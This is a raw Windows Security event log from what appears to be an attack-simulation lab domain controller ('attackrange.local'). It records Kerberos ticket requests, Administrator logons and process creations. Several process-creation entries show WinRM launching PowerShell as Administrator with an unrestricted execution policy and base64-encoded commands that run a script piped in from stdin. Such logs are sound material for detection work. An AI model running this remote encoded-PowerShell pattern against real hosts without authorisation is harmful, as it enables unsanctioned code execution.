PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252919 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252918 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252917 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x117c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F7B6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252914 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F7B6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252913 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252912 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252911 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252910 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x117c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12dc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252909 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17D420 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1390 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252908 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F5BA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252907 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17F5BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252906 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252905 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {33719BB1-66F7-C551-6AF6-7CD277AE7968} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:24 